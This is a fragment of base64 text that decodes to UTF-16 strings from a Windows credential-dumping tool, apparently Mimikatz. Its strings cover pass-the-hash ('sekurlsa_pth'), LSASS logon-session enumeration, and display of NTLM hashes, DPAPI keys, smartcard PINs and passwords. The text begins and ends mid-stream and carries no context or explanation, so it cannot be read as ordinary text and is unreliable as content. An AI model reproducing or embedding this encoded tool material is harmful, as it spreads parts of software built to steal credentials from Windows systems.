E0AYQBjAGgAaQBuAGUATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzAGwAcABNAGEAYwBoAGkAbgBlAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAAAlACoAcwBEAG4AcwBEAG8AbQBhAGkAbgBJAG4AZgBvAAoAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAAJQAqAHMAIAAgAEQAbgBzAEQAbwBtAGEAaQBuAE4AYQBtAGUAOgAgACUAdwBaAAoAAAAAACUAKgBzACAAIABEAG4AcwBGAG8AcgBlAHMAdABOAGEAbQBlADoAIAAlAHcAWgAKAAAAAAAlACoAcwAgACAARABvAG0AYQBpAG4ARwB1AGkAZAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMARABjAEkAbgBmAG8ACgAAAAAAJQAqAHMAIAAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAAAAAAAAJQAqAHMAIAAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIAQQBkAGQAcgBlAHMAcwA6ACAAJQBzACAAKABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEEAZABkAHIAZQBzAHMAVAB5AHAAZQA6ACAAJQB1ACkACgAAACUAKgBzACAAIABEAG8AbQBhAGkAbgBHAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAARABvAG0AYQBpAG4ATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlACoAcwAgACAARgBvAHIAZQBzAHQATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlACoAcwAgACAARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAACUAKgBzACAAIABEAGMAUwBpAHQAZQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAACUAKgBzACAAIABDAGwAaQBlAG4AdABTAGkAdABlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMATwBwAHQAaQBvAG4AcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAJQAqAHMAWwBPAFAAXwBQAEEAQwBLAEEARwBFAF0AAAAlACoAcwBFAG4AYwByAHkAcAB0AGkAbwBuAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMARQBuAGMAcgB5AHAAdABpAG8AbgBDAG8AbgB0AGUAeAB0ACAAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACkACgAAAAAAJQAqAHMAVwByAGEAcABwAGUAZABQAGEAcgB0AEMAbwBsAGwAZQBjAHQAaQBvAG4AIAAgACAAIAA6AAoAAAAAAAAAAAAlACoAcwBjAGIARABlAGMAcgB5AHAAdABlAGQAUABhAHIAdABDAG8AbABsAGUAYwB0AGkAbwBuADoAIAAlAHUACgAAAAAAAAAlACoAcwBFAHgAdABlAG4AcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQBwACAAKAAlAHUAKQAKAAAAAAAAAAAAJQAqAHMAWwBPAFAAXwBQAEEAQwBLAEEARwBFAF8AUABBAFIAVABfAEMATwBMAEwARQBDAFQASQBPAE4AXQAAACUAKgBzAGMAUABhAHIAdABzACAAIAAgADoAIAAlAHUACgAAACUAKgBzAFsAJQB1AF0AIABCAGwAbwBiAAoAAAAlACoAcwBFAHgAdABlAG4AcwBpAG8AbgA6ACAAMAB4ACUAcAAgACgAJQB1ACkACgAAAAAAJQAqAHMAWwBPAFAAXwBQAEEAQwBLAEEARwBFAF8AUABBAFIAVABdAAoAAAAlACoAcwBQAGEAcgB0AFQAeQBwAGUAIAA6ACAAAAAAACAALQAgAEoATwBJAE4AXwBQAFIATwBWAEkARABFAFIACgAAACAALQAgAEoATwBJAE4AXwBQAFIATwBWAEkARABFAFIAMgAKAAAAAAAgAC0AIABKAE8ASQBOAF8AUABSAE8AVgBJAEQARQBSADMACgAAAAAAIAAtACAAQwBFAFIAVABfAFAAUgBPAFYASQBEAEUAUgAKAAAAIAAtACAAUABPAEwASQBDAFkAXwBQAFIATwBWAEkARABFAFIACgAAACAALQAgAD8ACgAAACUAKgBzAHUAbABGAGwAYQBnAHMAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAJQAqAHMAWwBPAFAAXwBKAE8ASQBOAFAAUgBPAFYAMgBfAFAAQQBSAFQAXQAAAAAAJQAqAHMAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4AAoAAAAAACUAKgBzAGwAcABOAGUAdABiAGkAbwBzAE4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAbABwAFMAaQB0AGUATgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAlACoAcwBsAHAAUAByAGkAbQBhAHIAeQBEAE4AUwBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAAAAAACUAKgBzAGQAdwBSAGUAcwBlAHIAdgBlAGQAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAlACoAcwBsAHAAUgBlAHMAZQByAHYAZQBkACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzAFsATwBQAF8ASgBPAEkATgBQAFIATwBWADMAXwBQAEEAUgBUAF0AAAAAACUAKgBzAFIAaQBkACAAIAA6ACAAJQB1AAoAAAAlACoAcwBsAHAAUwBpAGQAOgAgACUAcwAKAAAAJQAqAHMAWwBPAFAAXwBDAEUAUgBUAF8AUABBAFIAVABdAAAAJQAqAHMAYwBQAGYAeABTAHQAbwByAGUAcwA6ACAAJQB1AAoAAAAAACUAKgBzAFsAJQB1AF0AIABQAGYAeABTAHQAbwByAGUACgAAACUAKgBzAGMAUwBzAHQAUwB0AG8AcgBlAHMAOgAgACUAdQAKAAAAAAAlACoAcwBbACUAdQBdACAAUwBzAHQAUwB0AG8AcgBlAAoAAAAlACoAcwBbAE8AUABfAEMARQBSAFQAXwBQAEYAWABfAFMAVABPAFIARQBdAAoAAAAAAAAAJQAqAHMAcABUAGUAbQBwAGwAYQB0AGUATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAAJQAqAHMAdQBsAFAAcgBpAHYAYQB0AGUASwBlAHkARQB4AHAAbwByAHQAUABvAGwAaQBjAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAlACoAcwBwAFAAbwBsAGkAYwB5AFMAZQByAHYAZQByAFUAcgBsACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAAAlACoAcwB1AGwAUABvAGwAaQBjAHkAUwBlAHIAdgBlAHIAVQByAGwARgBsAGEAZwBzACAAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAACUAKgBzAHAAUABvAGwAaQBjAHkAUwBlAHIAdgBlAHIASQBkACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAcABmAHgAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBwACAAKAAlAHUAKQAKAAAAAAAlACoAcwBbAE8AUABfAEMARQBSAFQAXwBTAFMAVABfAFMAVABPAFIARQBdAAoAAAAlACoAcwBTAHQAbwByAGUATABvAGMAYQB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQBzACkACgAAAAAAJQAqAHMAcABTAHQAbwByAGUATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwBzAHMAdAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHAAIAAoACUAdQApAAoAAAAAACUAKgBzAFsATwBQAF8AUABPAEwASQBDAFkAXwBQAEEAUgBUAF0AAAAlACoAcwBjAEUAbABlAG0AZQBuAHQATABpAHMAdABzADoAIAAlAHUACgAAACUAKgBzAFsAJQB1AF0AIABFAGwAZQBtAGUAbgB0AHMATABpAHMAdAAKAAAAJQAqAHMARQB4AHQAZQBuAHMAaQBvAG4AIAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACkACgAAAAAAJQAqAHMAWwBPAFAAXwBQAE8ATABJAEMAWQBfAEUATABFAE0ARQBOAFQAXwBMAEkAUwBUAF0ACgAAAAAAJQAqAHMAcABTAG8AdQByAGMAZQAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzAHUAbABSAG8AbwB0AEsAZQB5AEkAZAA6ACAAMAB4ACUAMAA4AHgACgAAACUAKgBzAGMARQBsAGUAbQBlAG4AdABzACAAIAA6ACAAJQB1AAoAAAAlACoAcwBbACUAdQBdACAARQBsAGUAbQBlAG4AdAAKAAAAAAAlACoAcwBbAE8AUABfAFAATwBMAEkAQwBZAF8ARQBMAEUATQBFAE4AVABdAAoAAAAlACoAcwBwAEsAZQB5AFAAYQB0AGgAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAcABWAGEAbAB1AGUATgBhAG0AZQAgADoAIAAlAHMACgAAACUAKgBzAHUAbABWAGEAbAB1AGUAVAB5AHAAZQA6ACAAMAB4ACUAMAA4AHgACgAAACUAKgBzAHYAYQBsAHUAZQAgACAAIAAgACAAIAA6ACAAAAAAACUAcAAgACgAJQB1ACkACgAAAAAAbABvAGcAbwBuAGQAYQB0AGEAAAA6ACkAAAAAAFQAcgB5ACAAZABvACAAZABlAGMAcgB5AHAAdAAgAGEAIABQAEkATgAgAFAAcgBvAHQAZQBjAHQAbwByAAAAAABzAGkAZwBuAAAAAABUAHIAeQAgAHQAbwAgAHMAaQBnAG4AAABkAGUAYwByAHkAcAB0AAAAVAByAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0AAAAAABuAGcAYwAAAAAAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5ACAAbQBvAGQAdQBsAGUAIAAoAGsAaQB3AGkAIAB1AHMAZQAgAG8AbgBsAHkAKQAAAFMAbwBtAGUAIABjAG8AbQBtAGEAbgBkAHMAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAC4ALgAAACAAIAAgACAAPgAgACAAJQBzACAAKAB0AG8AZABlAGMAbwBkAGUAKQA6ACAAAAAAACAAIAAgACAAPgA+ACAAJQBzACAAKABkAGUAYwBvAGQAZQBkACkAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABkAGUAYQBsAFcAaQB0AGgAUwB0AHIAdQBjAHQAVABvAEQAZQBjAG8AZABlACAAOwAgAFIAZQBtAG8AdABlACAAUwBDACAALQAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABNAGUAbQBvAHIAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAZABlAGEAbABXAGkAdABoAFMAdAByAHUAYwB0AFQAbwBEAGUAYwBvAGQAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAD8AZQBtAHAAdAB5AD8AAAA/ACAAPwAgAD8AIAA/AAAAUwBsAG8AdABQAGkAbgAAACAAIAAgACAAdQBuAGsARQA6ACAAAAAAACAAIABQAGEAdABoADoAIAAlAHcAWgAKAAAAAAAKAEcAVQBJAEQAOgAgAAAATgBnAGMAQwB0AG4AcgBTAHYAYwAAAAAAUwBlAHIAdgBpAGMAZQAgAFAASQBEADoAIAAlAHUACgAAAAAATgBnAGMAQwB0AG4AcgBTAHYAYwAuAGQAbABsAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGwAbwBnAG8AbgBkAGEAdABhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBsAG8AZwBvAG4AZABhAHQAYQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGwAbwBnAG8AbgBkAGEAdABhACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBsAG8AZwBvAG4AZABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAGUAcgB2AGkAYwBlAFAAcgBvAGYAaQBsAGUAcwBcAEwAbwBjAGEAbABTAGUAcgB2AGkAYwBlAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBnAGMAAAB7ADkAMwBGADEAMAA4ADYAMQAtADEAOQBGADEALQA0ADIAQgA4AC0AQQBEADIANAAtADkAMwBBADIAOABFADkAQwA0ADAAOQA2AH0AXAAAAFAAcgBvAHQAZQBjAHQAbwByAHMAXAAAACUAcwBcACUAcwBcACUAcwAlAHMAJQBzACUAdQAuAGQAYQB0AAAAAAAgACAAVQBuAGsAUABpAG4AIAAgACAAIAA6ACAAAAAAACAAIABEAGUAYwByAHkAcAB0AFAAaQBuADoAIAAAAAAAIAAgAFMAaQBnAG4AUABpAG4AIAAgACAAOgAgAAAAAAB3AGkAdABoAGIAYQBjAGsAdQBwAAAAAABVAHMAZQByACAAUwBJAEQAIAAgADoAIAAlAC4AKgBzAAAAAAAgACgAIAAlAHMAXAAlAHMAIAApAAAAAABQAGkAbgAgAGMAbwBkAGUAIAAgADoAIAAlAFMACgBIAGUAeAAgAHAAaQBuACAAIAAgADoAIAAAACgAAABUAGkAbQBlAHMAdABhAG0AcAAgADoAIAAAAAAAUAByAG8AdgBpAGQAZQByACAAIAA6ACAAJQAuACoAcwAKAAAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQAuACoAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBwAGkAbgAgADsAIABkAHcASQBtAHAAbABUAHkAcABlADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcABpAG4AIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACgATgBDAFIAWQBQAFQAXwBJAE0AUABMAF8AVABZAFAARQBfAFAAUgBPAFAARQBSAFQAWQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHAAaQBuACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHAAaQBuACAAOwAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAEsAZQB5ADoAIAAlAHMACgAAAAAAUABJAE4AOgAgACUAcwAKAAAAAABEAGEAdABhACAAKABBAFMATgAxACAAaABhAHMAaAApADoACgAAAAAAUwBpAGcAbgBhAHQAdQByAGUAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBzAGkAZwBuACAAOwAgAE4AQwByAHkAcAB0AFMAaQBnAG4ASABhAHMAaAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBzAGkAZwBuACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAoACUAcwApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcwBpAGcAbgAgADsAIABUAGgAZQAgAHMAcABlAGMAaQBmAGkAZQBkACAAawBlAHkAIAB3AGEAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACwAIABkAGkAZAAgAHkAbwB1ACAAaQBtAHAAZQByAHMAbwBuAGEAdABlACAAbABvAGMAYQBsAHMAZQByAHYAaQBjAGUAPwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAAcABpAG4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcwBpAGcAbgAgADsAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAZQBuAGMAawBlAHkAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAIAAgACAAOgAgACUAcwAKAEsAZQB5AE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoASwBlAHkAIABQAEkATgAgACAAIAAgADoAIAAlAHMACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAATwB1AHQAcAB1AHQAIAAgACAAIAAgADoAIAAAAGkAdgAAAAAAZQBuAGMAUABhAHMAcwB3AG8AcgBkAAAASQBWACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEUAbgBjAFAAYQBzAHMAdwBvAHIAZAA6ACAAAAAKAFAAYQBzAHMAdwBvAHIAZAAgACAAIAA6ACAAJQAuACoAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQgBDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEIAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABpAG4AaQB0ACkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABCAEMAcgB5AHAAdABHAGUAbgBlAHIAYQB0AGUAUwB5AG0AbQBlAHQAcgBpAGMASwBlAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEIAQwByAHkAcAB0AE8AcABlAG4AQQBsAGcAbwByAGkAdABoAG0AUAByAG8AdgBpAGQAZQByADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAZQBuAGMAUABhAHMAcwB3AG8AcgBkACAAZgByAG8AbQAgAGgAZQB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAHUAbgBhAGIAbABlACAAdABvACAAYwBvAG4AdgBlAHIAdAAgAEkAVgAgAGYAcgBvAG0AIABoAGUAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAZABhAHQAYQAgAGYAcgBvAG0AIABoAGUAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAYQAgAC8AZABhAHQAYQAgACgAbwByACAALwBlAG4AYwBrAGUAeQApACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAGEAIAAvAHAAaQBuACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABhACAALwBrAGUAeQBuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAACAAIAAgACAAKgAgACUAcwAKAAAAIAAgACAAIAAgACAAUAByAG8AdgBpAGQAZQByACAAOgAgACUALgAqAHMACgAAAAAAIAAgACAAIAAgACAASwBlAHkAIABOAGEAbQBlACAAOgAgACUALgAqAHMACgAAAAAAIAAgACAAIAAgACAAVABpAG0AZQBzAHQAYQBtAHAAOgAgAAAAIAAgACAAIAAgACAARQBuAGMAIABQAEkATgBzACAAOgAgACUAdQAgAGIAeQB0AGUAKABzACkACgAAAAAAewA5ADMARgAxADAAOAA2ADEALQAxADkARgAxAC0ANAAyAEIAOAAtAEEARAAyADQALQA5ADMAQQAyADgARQA5AEMANAAwADkANgB9AAAAAAAgACAAIAAgACAAIABOAGEAbQBlACAAIAAgACAAIAA6ACAAJQAuACoAcwAKAAAAAAAgACAAIAAgACAAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAOgAKAAAACgAqACAAJQBzAAoAAAAAACAAIAAgACAAVQBzAGUAcgAgAFMASQBEACAAIAAgACAAIAA6ACAAJQAuACoAcwAAACAAIAAgACAATQBhAGkAbgAgAFAAcgBvAHYAaQBkAGUAcgA6ACAAJQAuACoAcwAKAAAAAABQAHIAbwB0AGUAYwB0AG8AcgBzAAAAAAAKACAAIAAgACAAUAByAG8AdABlAGMAdABvAHIAcwA6AAoAAAAKACAAIAAgACAAewA5ADMARgAxADAAOAA2ADEALQAxADkARgAxAC0ANAAyAEIAOAAtAEEARAAyADQALQA5ADMAQQAyADgARQA5AEMANAAwADkANgB9ADoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEIAYQBzACAAdQBzAGUAcgAgAG8AcgAgAEwAVQBJAEQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAgACAAfAAgACAATABTAEEAIABQAHIAbwBjAGUAcwBzACAAAAB3AGEAcwAgAGEAbAByAGUAYQBkAHkAIABSAC8AVwAKAAAAAABpAHMAIABuAG8AdwAgAFIALwBXAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaABfAGwAdQBpAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAXwBsAHUAaQBkACAAOwAgAE4AdABRAHUAZQByAHkATwBiAGoAZQBjAHQAOgAgACUAMAA4AHgACgAAACAAIAB8ACAAIABMAFUASQBEACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAAAAAAAgACAAXABfACAAbQBzAHYAMQBfADAAIAAgACAALQAgAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaABfAGwAdQBpAGQAIAA7ACAAbQBlAG0AbwByAHkAIABoAGEAbgBkAGwAZQAgAGkAcwAgAG4AbwB0ACAASwBVAEwATABfAE0AXwBNAEUATQBPAFIAWQBfAFQAWQBQAEUAXwBQAFIATwBDAEUAUwBTAAoAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUwBIAEEAMQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAFAAUgBUACAAIAAgACAAIAAgADoAIAAlAFoAAAAAAAoACQAgACAAIAAgACAARABQAEEAUABJACAASwBlAHkAOgAgAAAAAAAgACgAcwBoAGEAMQA6ACAAAAAAAAoACQAgACoAIABTAG0AYQByAHQAYwBhAHIAZAAAAAAACgAJACAAIAAgACAAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAkAIAAgACAAJQBzACAAAAA8AG4AbwAgAHMAaQB6AGUALAAgAGIAdQBmAGYAZQByACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAPgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZwBlAG4AZQByAGkAYwBDAHIAZQBkAHMATwB1AHQAcAB1AHQAIAA7ACAAVQBuAGsAbgBvAHcAbgAgAHYAZQByAHMAaQBvAG4AIABpAG4AIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABzAHQAcgB1AGMAdAB1AHIAZQAKAAAAJQB3AFoACQAlAHcAWgAJAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAATQBhAHIAcwBoAGEAbABlAGQAOgAgAAAAAABbAEMAZQByAHQAXQAgAFMASABBADEAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHkAbQBhAHIAcwBoAGEAbAAgADsAIABDAHIAZQBkAGUAbgB0AGkAYQBsAC0APgBjAGIAUwBpAHoAZQAgAGkAcwAgACUAdQAKAAAAAABbAFUAcwBlAHIAbgBhAG0AZQBUAGEAcgBnAGUAdABdACAAJQBzAAoAAAAAAFsAQgBpAG4